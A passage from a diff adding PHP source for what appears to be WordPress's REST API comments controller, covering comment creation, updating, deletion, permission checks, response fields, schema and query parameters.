+		if ( 'draft' === $post->post_status ) {
+			return new WP_Error( 'rest_comment_draft_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) );
+		}
+
+		if ( 'trash' === $post->post_status ) {
+			return new WP_Error( 'rest_comment_trash_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) );
+		}
+
+		if ( ! $this->check_read_post_permission( $post, $request ) ) {
+			return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		if ( ! comments_open( $post->ID ) ) {
+			return new WP_Error( 'rest_comment_closed', __( 'Sorry, comments are closed for this item.' ), array( 'status' => 403 ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Creates a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
+	 */
+	public function create_item( $request ) {
+		if ( ! empty( $request['id'] ) ) {
+			return new WP_Error( 'rest_comment_exists', __( 'Cannot create existing comment.' ), array( 'status' => 400 ) );
+		}
+
+		// Do not allow comments to be created with a non-default type.
+		if ( ! empty( $request['type'] ) && 'comment' !== $request['type'] ) {
+			return new WP_Error( 'rest_invalid_comment_type', __( 'Cannot create a comment with that type.' ), array( 'status' => 400 ) );
+		}
+
+		$prepared_comment = $this->prepare_item_for_database( $request );
+		if ( is_wp_error( $prepared_comment ) ) {
+			return $prepared_comment;
+		}
+
+		$prepared_comment['comment_type'] = '';
+
+		/*
+		 * Do not allow a comment to be created with missing or empty
+		 * comment_content. See wp_handle_comment_submission().
+		 */
+		if ( empty( $prepared_comment['comment_content'] ) ) {
+			return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) );
+		}
+
+		// Setting remaining values before wp_insert_comment so we can use wp_allow_comment().
+		if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) {
+			$prepared_comment['comment_date_gmt'] = current_time( 'mysql', true );
+		}
+
+		// Set author data if the user's logged in.
+		$missing_author = empty( $prepared_comment['user_id'] )
+			&& empty( $prepared_comment['comment_author'] )
+			&& empty( $prepared_comment['comment_author_email'] )
+			&& empty( $prepared_comment['comment_author_url'] );
+
+		if ( is_user_logged_in() && $missing_author ) {
+			$user = wp_get_current_user();
+
+			$prepared_comment['user_id'] = $user->ID;
+			$prepared_comment['comment_author'] = $user->display_name;
+			$prepared_comment['comment_author_email'] = $user->user_email;
+			$prepared_comment['comment_author_url'] = $user->user_url;
+		}
+
+		// Honor the discussion setting that requires a name and email address of the comment author.
+		if ( get_option( 'require_name_email' ) ) {
+			if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) {
+				return new WP_Error( 'rest_comment_author_data_required', __( 'Creating a comment requires valid author name and email values.' ), array( 'status' => 400 ) );
+			}
+		}
+
+		if ( ! isset( $prepared_comment['comment_author_email'] ) ) {
+			$prepared_comment['comment_author_email'] = '';
+		}
+
+		if ( ! isset( $prepared_comment['comment_author_url'] ) ) {
+			$prepared_comment['comment_author_url'] = '';
+		}
+
+		if ( ! isset( $prepared_comment['comment_agent'] ) ) {
+			$prepared_comment['comment_agent'] = '';
+		}
+
+		$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment );
+		if ( is_wp_error( $check_comment_lengths ) ) {
+			$error_code = $check_comment_lengths->get_error_code();
+			return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) );
+		}
+
+		$prepared_comment['comment_approved'] = wp_allow_comment( $prepared_comment, true );
+
+		if ( is_wp_error( $prepared_comment['comment_approved'] ) ) {
+			$error_code    = $prepared_comment['comment_approved']->get_error_code();
+			$error_message = $prepared_comment['comment_approved']->get_error_message();
+
+			if ( 'comment_duplicate' === $error_code ) {
+				return new WP_Error( $error_code, $error_message, array( 'status' => 409 ) );
+			}
+
+			if ( 'comment_flood' === $error_code ) {
+				return new WP_Error( $error_code, $error_message, array( 'status' => 400 ) );
+			}
+
+			return $prepared_comment['comment_approved'];
+		}
+
+		/**
+		 * Filters a comment before it is inserted via the REST API.
+		 *
+		 * Allows modification of the comment right before it is inserted via wp_insert_comment().
+		 * Returning a WP_Error value from the filter will shortcircuit insertion and allow
+		 * skipping further processing.
+		 *
+		 * @since 4.7.0
+		 * @since 4.8.0 $prepared_comment can now be a WP_Error to shortcircuit insertion.
+		 *
+		 * @param array|WP_Error  $prepared_comment The prepared comment data for wp_insert_comment().
+		 * @param WP_REST_Request $request          Request used to insert the comment.
+		 */
+		$prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request );
+		if ( is_wp_error( $prepared_comment ) ) {
+			return $prepared_comment;
+		}
+
+		$comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) );
+
+		if ( ! $comment_id ) {
+			return new WP_Error( 'rest_comment_failed_create', __( 'Creating comment failed.' ), array( 'status' => 500 ) );
+		}
+
+		if ( isset( $request['status'] ) ) {
+			$this->handle_status_param( $request['status'], $comment_id );
+		}
+
+		$comment = get_comment( $comment_id );
+
+		/**
+		 * Fires after a comment is created or updated via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_Comment      $comment  Inserted or updated comment object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a comment, false
+		 *                                  when updating.
+		 */
+		do_action( 'rest_insert_comment', $comment, $request, true );
+
+		$schema = $this->get_item_schema();
+
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $comment_id );
+
+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$fields_update = $this->update_additional_fields_for_object( $comment, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view';
+		$request->set_param( 'context', $context );
+
+		/**
+		 * Fires completely after a comment is created or updated via the REST API.
+		 *
+		 * @since 5.0.0
+		 *
+		 * @param WP_Comment      $comment  Inserted or updated comment object.
+		 * @param WP_REST_Request $request  Request object.
+		 * @param bool            $creating True when creating a comment, false
+		 *                                  when updating.
+		 */
+		do_action( 'rest_after_insert_comment', $comment, $request, true );
+
+		$response = $this->prepare_item_for_response( $comment, $request );
+		$response = rest_ensure_response( $response );
+
+		$response->set_status( 201 );
+		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) );
+
+
+		return $response;
+	}
+
+	/**
+	 * Checks if a given REST request has access to update a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|bool True if the request has access to update the item, error object otherwise.
+	 */
+	public function update_item_permissions_check( $request ) {
+		$comment = $this->get_comment( $request['id'] );
+		if ( is_wp_error( $comment ) ) {
+			return $comment;
+		}
+
+		if ( ! $this->check_edit_permission( $comment ) ) {
+			return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Updates a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
+	 */
+	public function update_item( $request ) {
+		$comment = $this->get_comment( $request['id'] );
+		if ( is_wp_error( $comment ) ) {
+			return $comment;
+		}
+
+		$id = $comment->comment_ID;
+
+		if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) {
+			return new WP_Error( 'rest_comment_invalid_type', __( 'Sorry, you are not allowed to change the comment type.' ), array( 'status' => 404 ) );
+		}
+
+		$prepared_args = $this->prepare_item_for_database( $request );
+
+		if ( is_wp_error( $prepared_args ) ) {
+			return $prepared_args;
+		}
+
+		if ( ! empty( $prepared_args['comment_post_ID'] ) ) {
+			$post = get_post( $prepared_args['comment_post_ID'] );
+			if ( empty( $post ) ) {
+				return new WP_Error( 'rest_comment_invalid_post_id', __( 'Invalid post ID.' ), array( 'status' => 403 ) );
+			}
+		}
+
+		if ( empty( $prepared_args ) && isset( $request['status'] ) ) {
+			// Only the comment status is being changed.
+			$change = $this->handle_status_param( $request['status'], $id );
+
+			if ( ! $change ) {
+				return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment status failed.' ), array( 'status' => 500 ) );
+			}
+		} elseif ( ! empty( $prepared_args ) ) {
+			if ( is_wp_error( $prepared_args ) ) {
+				return $prepared_args;
+			}
+
+			if ( isset( $prepared_args['comment_content'] ) && empty( $prepared_args['comment_content'] ) ) {
+				return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) );
+			}
+
+			$prepared_args['comment_ID'] = $id;
+
+			$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args );
+			if ( is_wp_error( $check_comment_lengths ) ) {
+				$error_code = $check_comment_lengths->get_error_code();
+				return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) );
+			}
+
+			$updated = wp_update_comment( wp_slash( (array) $prepared_args ) );
+
+			if ( false === $updated ) {
+				return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment failed.' ), array( 'status' => 500 ) );
+			}
+
+			if ( isset( $request['status'] ) ) {
+				$this->handle_status_param( $request['status'], $id );
+			}
+		}
+
+		$comment = get_comment( $id );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
+		do_action( 'rest_insert_comment', $comment, $request, false );
+
+		$schema = $this->get_item_schema();
+
+		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
+			$meta_update = $this->meta->update_value( $request['meta'], $id );
+
+			if ( is_wp_error( $meta_update ) ) {
+				return $meta_update;
+			}
+		}
+
+		$fields_update = $this->update_additional_fields_for_object( $comment, $request );
+
+		if ( is_wp_error( $fields_update ) ) {
+			return $fields_update;
+		}
+
+		$request->set_param( 'context', 'edit' );
+
+		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
+		do_action( 'rest_after_insert_comment', $comment, $request, false );
+
+		$response = $this->prepare_item_for_response( $comment, $request );
+
+		return rest_ensure_response( $response );
+	}
+
+	/**
+	 * Checks if a given request has access to delete a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|bool True if the request has access to delete the item, error object otherwise.
+	 */
+	public function delete_item_permissions_check( $request ) {
+		$comment = $this->get_comment( $request['id'] );
+		if ( is_wp_error( $comment ) ) {
+			return $comment;
+		}
+
+		if ( ! $this->check_edit_permission( $comment ) ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this comment.' ), array( 'status' => rest_authorization_required_code() ) );
+		}
+		return true;
+	}
+
+	/**
+	 * Deletes a comment.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Full details about the request.
+	 * @return WP_Error|WP_REST_Response Response object on success, or error object on failure.
+	 */
+	public function delete_item( $request ) {
+		$comment = $this->get_comment( $request['id'] );
+		if ( is_wp_error( $comment ) ) {
+			return $comment;
+		}
+
+		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;
+
+		/**
+		 * Filters whether a comment can be trashed.
+		 *
+		 * Return false to disable trash support for the post.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param bool    $supports_trash Whether the post type support trashing.
+		 * @param WP_Post $comment        The comment object being considered for trashing support.
+		 */
+		$supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment );
+
+		$request->set_param( 'context', 'edit' );
+
+		if ( $force ) {
+			$previous = $this->prepare_item_for_response( $comment, $request );
+			$result = wp_delete_comment( $comment->comment_ID, true );
+			$response = new WP_REST_Response();
+			$response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data() ) );
+		} else {
+			// If this type doesn't support trashing, error out.
+			if ( ! $supports_trash ) {
+				/* translators: %s: force=true */
+				return new WP_Error( 'rest_trash_not_supported', sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
+			}
+
+			if ( 'trash' === $comment->comment_approved ) {
+				return new WP_Error( 'rest_already_trashed', __( 'The comment has already been trashed.' ), array( 'status' => 410 ) );
+			}
+
+			$result = wp_trash_comment( $comment->comment_ID );
+			$comment = get_comment( $comment->comment_ID );
+			$response = $this->prepare_item_for_response( $comment, $request );
+		}
+
+		if ( ! $result ) {
+			return new WP_Error( 'rest_cannot_delete', __( 'The comment cannot be deleted.' ), array( 'status' => 500 ) );
+		}
+
+		/**
+		 * Fires after a comment is deleted via the REST API.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_Comment       $comment  The deleted comment data.
+		 * @param WP_REST_Response $response The response returned from the API.
+		 * @param WP_REST_Request  $request  The request sent to the API.
+		 */
+		do_action( 'rest_delete_comment', $comment, $response, $request );
+
+		return $response;
+	}
+
+	/**
+	 * Prepares a single comment output for response.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Comment      $comment Comment object.
+	 * @param WP_REST_Request $request Request object.
+	 * @return WP_REST_Response Response object.
+	 */
+	public function prepare_item_for_response( $comment, $request ) {
+
+		$fields = $this->get_fields_for_response( $request );
+		$data   = array();
+
+		if ( in_array( 'id', $fields, true ) ) {
+			$data['id'] = (int) $comment->comment_ID;
+		}
+
+		if ( in_array( 'post', $fields, true ) ) {
+			$data['post'] = (int) $comment->comment_post_ID;
+		}
+
+		if ( in_array( 'parent', $fields, true ) ) {
+			$data['parent'] = (int) $comment->comment_parent;
+		}
+
+		if ( in_array( 'author', $fields, true ) ) {
+			$data['author'] = (int) $comment->user_id;
+		}
+
+		if ( in_array( 'author_name', $fields, true ) ) {
+			$data['author_name'] = $comment->comment_author;
+		}
+
+		if ( in_array( 'author_email', $fields, true ) ) {
+			$data['author_email'] = $comment->comment_author_email;
+		}
+
+		if ( in_array( 'author_url', $fields, true ) ) {
+			$data['author_url'] = $comment->comment_author_url;
+		}
+
+		if ( in_array( 'author_ip', $fields, true ) ) {
+			$data['author_ip'] = $comment->comment_author_IP;
+		}
+
+		if ( in_array( 'author_user_agent', $fields, true ) ) {
+			$data['author_user_agent'] = $comment->comment_agent;
+		}
+
+		if ( in_array( 'date', $fields, true ) ) {
+			$data['date'] = mysql_to_rfc3339( $comment->comment_date );
+		}
+
+		if ( in_array( 'date_gmt', $fields, true ) ) {
+			$data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt );
+		}
+
+		if ( in_array( 'content', $fields, true ) ) {
+			$data['content'] = array(
+				/** This filter is documented in wp-includes/comment-template.php */
+				'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment ),
+				'raw'      => $comment->comment_content,
+			);
+		}
+
+		if ( in_array( 'link', $fields, true ) ) {
+			$data['link'] = get_comment_link( $comment );
+		}
+
+		if ( in_array( 'status', $fields, true ) ) {
+			$data['status'] = $this->prepare_status_response( $comment->comment_approved );
+		}
+
+		if ( in_array( 'type', $fields, true ) ) {
+			$data['type'] = get_comment_type( $comment->comment_ID );
+		}
+
+		if ( in_array( 'author_avatar_urls', $fields, true ) ) {
+			$data['author_avatar_urls'] = rest_get_avatar_urls( $comment->comment_author_email );
+		}
+
+		if ( in_array( 'meta', $fields, true ) ) {
+			$data['meta'] = $this->meta->get_value( $comment->comment_ID, $request );
+		}
+
+		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
+		$data    = $this->add_additional_fields_to_object( $data, $request );
+		$data    = $this->filter_response_by_context( $data, $context );
+
+		// Wrap the data in a response object.
+		$response = rest_ensure_response( $data );
+
+		$response->add_links( $this->prepare_links( $comment ) );
+
+		/**
+		 * Filters a comment returned from the API.
+		 *
+		 * Allows modification of the comment right before it is returned.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param WP_REST_Response  $response The response object.
+		 * @param WP_Comment        $comment  The original comment object.
+		 * @param WP_REST_Request   $request  Request used to generate the response.
+		 */
+		return apply_filters( 'rest_prepare_comment', $response, $comment, $request );
+	}
+
+	/**
+	 * Prepares links for the request.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Comment $comment Comment object.
+	 * @return array Links for the given comment.
+	 */
+	protected function prepare_links( $comment ) {
+		$links = array(
+			'self' => array(
+				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ),
+			),
+			'collection' => array(
+				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
+			),
+		);
+
+		if ( 0 !== (int) $comment->user_id ) {
+			$links['author'] = array(
+				'href'       => rest_url( 'wp/v2/users/' . $comment->user_id ),
+				'embeddable' => true,
+			);
+		}
+
+		if ( 0 !== (int) $comment->comment_post_ID ) {
+			$post = get_post( $comment->comment_post_ID );
+
+			if ( ! empty( $post->ID ) ) {
+				$obj = get_post_type_object( $post->post_type );
+				$base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
+
+				$links['up'] = array(
+					'href'       => rest_url( 'wp/v2/' . $base . '/' . $comment->comment_post_ID ),
+					'embeddable' => true,
+					'post_type'  => $post->post_type,
+				);
+			}
+		}
+
+		if ( 0 !== (int) $comment->comment_parent ) {
+			$links['in-reply-to'] = array(
+				'href'       => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ),
+				'embeddable' => true,
+			);
+		}
+
+		// Only grab one comment to verify the comment has children.
+		$comment_children = $comment->get_children( array(
+			'number' => 1,
+			'count'  => true
+		) );
+
+		if ( ! empty( $comment_children ) ) {
+			$args = array(
+				'parent' => $comment->comment_ID
+			);
+
+			$rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) );
+
+			$links['children'] = array(
+				'href' => $rest_url,
+			);
+		}
+
+		return $links;
+	}
+
+	/**
+	 * Prepends internal property prefix to query parameters to match our response fields.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $query_param Query parameter.
+	 * @return string The normalized query parameter.
+	 */
+	protected function normalize_query_param( $query_param ) {
+		$prefix = 'comment_';
+
+		switch ( $query_param ) {
+			case 'id':
+				$normalized = $prefix . 'ID';
+				break;
+			case 'post':
+				$normalized = $prefix . 'post_ID';
+				break;
+			case 'parent':
+				$normalized = $prefix . 'parent';
+				break;
+			case 'include':
+				$normalized = 'comment__in';
+				break;
+			default:
+				$normalized = $prefix . $query_param;
+				break;
+		}
+
+		return $normalized;
+	}
+
+	/**
+	 * Checks comment_approved to set comment status for single comment output.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string|int $comment_approved comment status.
+	 * @return string Comment status.
+	 */
+	protected function prepare_status_response( $comment_approved ) {
+
+		switch ( $comment_approved ) {
+			case 'hold':
+			case '0':
+				$status = 'hold';
+				break;
+
+			case 'approve':
+			case '1':
+				$status = 'approved';
+				break;
+
+			case 'spam':
+			case 'trash':
+			default:
+				$status = $comment_approved;
+				break;
+		}
+
+		return $status;
+	}
+
+	/**
+	 * Prepares a single comment to be inserted into the database.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_REST_Request $request Request object.
+	 * @return array|WP_Error Prepared comment, otherwise WP_Error object.
+	 */
+	protected function prepare_item_for_database( $request ) {
+		$prepared_comment = array();
+
+		/*
+		 * Allow the comment_content to be set via the 'content' or
+		 * the 'content.raw' properties of the Request object.
+		 */
+		if ( isset( $request['content'] ) && is_string( $request['content'] ) ) {
+			$prepared_comment['comment_content'] = $request['content'];
+		} elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) {
+			$prepared_comment['comment_content'] = $request['content']['raw'];
+		}
+
+		if ( isset( $request['post'] ) ) {
+			$prepared_comment['comment_post_ID'] = (int) $request['post'];
+		}
+
+		if ( isset( $request['parent'] ) ) {
+			$prepared_comment['comment_parent'] = $request['parent'];
+		}
+
+		if ( isset( $request['author'] ) ) {
+			$user = new WP_User( $request['author'] );
+
+			if ( $user->exists() ) {
+				$prepared_comment['user_id'] = $user->ID;
+				$prepared_comment['comment_author'] = $user->display_name;
+				$prepared_comment['comment_author_email'] = $user->user_email;
+				$prepared_comment['comment_author_url'] = $user->user_url;
+			} else {
+				return new WP_Error( 'rest_comment_author_invalid', __( 'Invalid comment author ID.' ), array( 'status' => 400 ) );
+			}
+		}
+
+		if ( isset( $request['author_name'] ) ) {
+			$prepared_comment['comment_author'] = $request['author_name'];
+		}
+
+		if ( isset( $request['author_email'] ) ) {
+			$prepared_comment['comment_author_email'] = $request['author_email'];
+		}
+
+		if ( isset( $request['author_url'] ) ) {
+			$prepared_comment['comment_author_url'] = $request['author_url'];
+		}
+
+		if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) {
+			$prepared_comment['comment_author_IP'] = $request['author_ip'];
+		} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
+			$prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR'];
+		} else {
+			$prepared_comment['comment_author_IP'] = '127.0.0.1';
+		}
+
+		if ( ! empty( $request['author_user_agent'] ) ) {
+			$prepared_comment['comment_agent'] = $request['author_user_agent'];
+		} elseif ( $request->get_header( 'user_agent' ) ) {
+			$prepared_comment['comment_agent'] = $request->get_header( 'user_agent' );
+		}
+
+		if ( ! empty( $request['date'] ) ) {
+			$date_data = rest_get_date_with_gmt( $request['date'] );
+
+			if ( ! empty( $date_data ) ) {
+				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
+			}
+		} elseif ( ! empty( $request['date_gmt'] ) ) {
+			$date_data = rest_get_date_with_gmt( $request['date_gmt'], true );
+
+			if ( ! empty( $date_data ) ) {
+				list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data;
+			}
+		}
+
+		/**
+		 * Filters a comment after it is prepared for the database.
+		 *
+		 * Allows modification of the comment right after it is prepared for the database.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param array           $prepared_comment The prepared comment data for `wp_insert_comment`.
+		 * @param WP_REST_Request $request          The current request.
+		 */
+		return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request );
+	}
+
+	/**
+	 * Retrieves the comment's schema, conforming to JSON Schema.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array
+	 */
+	public function get_item_schema() {
+		$schema = array(
+			'$schema'              => 'http://json-schema.org/draft-04/schema#',
+			'title'                => 'comment',
+			'type'                 => 'object',
+			'properties'           => array(
+				'id'               => array(
+					'description'  => __( 'Unique identifier for the object.' ),
+					'type'         => 'integer',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+				'author'           => array(
+					'description'  => __( 'The ID of the user object, if author was a user.' ),
+					'type'         => 'integer',
+					'context'      => array( 'view', 'edit', 'embed' ),
+				),
+				'author_email'     => array(
+					'description'  => __( 'Email address for the object author.' ),
+					'type'         => 'string',
+					'format'       => 'email',
+					'context'      => array( 'edit' ),
+					'arg_options'  => array(
+						'sanitize_callback' => array( $this, 'check_comment_author_email' ),
+						'validate_callback' => null, // skip built-in validation of 'email'.
+					),
+				),
+				'author_ip'     => array(
+					'description'  => __( 'IP address for the object author.' ),
+					'type'         => 'string',
+					'format'       => 'ip',
+					'context'      => array( 'edit' ),
+				),
+				'author_name'     => array(
+					'description'  => __( 'Display name for the object author.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'arg_options'  => array(
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+				),
+				'author_url'       => array(
+					'description'  => __( 'URL for the object author.' ),
+					'type'         => 'string',
+					'format'       => 'uri',
+					'context'      => array( 'view', 'edit', 'embed' ),
+				),
+				'author_user_agent'     => array(
+					'description'  => __( 'User agent for the object author.' ),
+					'type'         => 'string',
+					'context'      => array( 'edit' ),
+					'arg_options'  => array(
+						'sanitize_callback' => 'sanitize_text_field',
+					),
+				),
+				'content'          => array(
+					'description'     => __( 'The content for the object.' ),
+					'type'            => 'object',
+					'context'         => array( 'view', 'edit', 'embed' ),
+					'arg_options'     => array(
+						'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database()
+						'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database()
+					),
+					'properties'      => array(
+						'raw'         => array(
+							'description'     => __( 'Content for the object, as it exists in the database.' ),
+							'type'            => 'string',
+							'context'         => array( 'edit' ),
+						),
+						'rendered'    => array(
+							'description'     => __( 'HTML content for the object, transformed for display.' ),
+							'type'            => 'string',
+							'context'         => array( 'view', 'edit', 'embed' ),
+							'readonly'        => true,
+						),
+					),
+				),
+				'date'             => array(
+					'description'  => __( "The date the object was published, in the site's timezone." ),
+					'type'         => 'string',
+					'format'       => 'date-time',
+					'context'      => array( 'view', 'edit', 'embed' ),
+				),
+				'date_gmt'         => array(
+					'description'  => __( 'The date the object was published, as GMT.' ),
+					'type'         => 'string',
+					'format'       => 'date-time',
+					'context'      => array( 'view', 'edit' ),
+				),
+				'link'             => array(
+					'description'  => __( 'URL to the object.' ),
+					'type'         => 'string',
+					'format'       => 'uri',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+				'parent'           => array(
+					'description'  => __( 'The ID for the parent of the object.' ),
+					'type'         => 'integer',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'default'      => 0,
+				),
+				'post'             => array(
+					'description'  => __( 'The ID of the associated post object.' ),
+					'type'         => 'integer',
+					'context'      => array( 'view', 'edit' ),
+					'default'      => 0,
+				),
+				'status'           => array(
+					'description'  => __( 'State of the object.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit' ),
+					'arg_options'  => array(
+						'sanitize_callback' => 'sanitize_key',
+					),
+				),
+				'type'             => array(
+					'description'  => __( 'Type of Comment for the object.' ),
+					'type'         => 'string',
+					'context'      => array( 'view', 'edit', 'embed' ),
+					'readonly'     => true,
+				),
+			),
+		);
+
+		if ( get_option( 'show_avatars' ) ) {
+			$avatar_properties = array();
+
+			$avatar_sizes = rest_get_avatar_sizes();
+			foreach ( $avatar_sizes as $size ) {
+				$avatar_properties[ $size ] = array(
+					/* translators: %d: avatar image size in pixels */
+					'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ),
+					'type'        => 'string',
+					'format'      => 'uri',
+					'context'     => array( 'embed', 'view', 'edit' ),
+				);
+			}
+
+			$schema['properties']['author_avatar_urls'] = array(
+				'description'   => __( 'Avatar URLs for the object author.' ),
+				'type'          => 'object',
+				'context'       => array( 'view', 'edit', 'embed' ),
+				'readonly'      => true,
+				'properties'    => $avatar_properties,
+			);
+		}
+
+		$schema['properties']['meta'] = $this->meta->get_field_schema();
+
+		return $this->add_additional_fields_schema( $schema );
+	}
+
+	/**
+	 * Retrieves the query params for collections.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return array Comments collection parameters.
+	 */
+	public function get_collection_params() {
+		$query_params = parent::get_collection_params();
+
+		$query_params['context']['default'] = 'view';
+
+		$query_params['after'] = array(
+			'description'       => __( 'Limit response to comments published after a given ISO8601 compliant date.' ),
+			'type'              => 'string',
+			'format'            => 'date-time',
+		);
+
+		$query_params['author'] = array(
+			'description'       => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'integer',
+			),
+		);
+
+		$query_params['author_exclude'] = array(
+			'description'       => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'integer',
+			),
+		);
+
+		$query_params['author_email'] = array(
+			'default'           => null,
+			'description'       => __( 'Limit result set to that from a specific author email. Requires authorization.' ),
+			'format'            => 'email',
+			'type'              => 'string',
+		);
+
+		$query_params['before'] = array(
+			'description'       => __( 'Limit response to comments published before a given ISO8601 compliant date.' ),
+			'type'              => 'string',
+			'format'            => 'date-time',
+		);
+
+		$query_params['exclude'] = array(
+			'description'        => __( 'Ensure result set excludes specific IDs.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'           => 'integer',
+			),
+			'default'            => array(),
+		);
+
+		$query_params['include'] = array(
+			'description'        => __( 'Limit result set to specific IDs.' ),
+			'type'               => 'array',
+			'items'              => array(
+				'type'           => 'integer',
+			),
+			'default'            => array(),
+		);
+
+		$query_params['offset'] = array(
+			'description'        => __( 'Offset the result set by a specific number of items.' ),
+			'type'               => 'integer',
+		);
+
+		$query_params['order']      = array(
+			'description'           => __( 'Order sort attribute ascending or descending.' ),
+			'type'                  => 'string',
+			'default'               => 'desc',
+			'enum'                  => array(
+				'asc',
+				'desc',
+			),
+		);
+
+		$query_params['orderby']    = array(
+			'description'           => __( 'Sort collection by object attribute.' ),
+			'type'                  => 'string',
+			'default'               => 'date_gmt',
+			'enum'                  => array(
+				'date',
+				'date_gmt',
+				'id',
+				'include',
+				'post',
+				'parent',
+				'type',
+			),
+		);
+
+		$query_params['parent'] = array(
+			'default'           => array(),
+			'description'       => __( 'Limit result set to comments of specific parent IDs.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'integer',
+			),
+		);
+
+		$query_params['parent_exclude'] = array(
+			'default'           => array(),
+			'description'       => __( 'Ensure result set excludes specific parent IDs.' ),
+			'type'              => 'array',
+			'items'             => array(
+				'type'          => 'integer',
+			),
+		);
+
+		$query_params['post']   = array(
+			'default'           => array(),
+			'description'       => __( 'Limit result set to comments assigned to specific post IDs.' ),
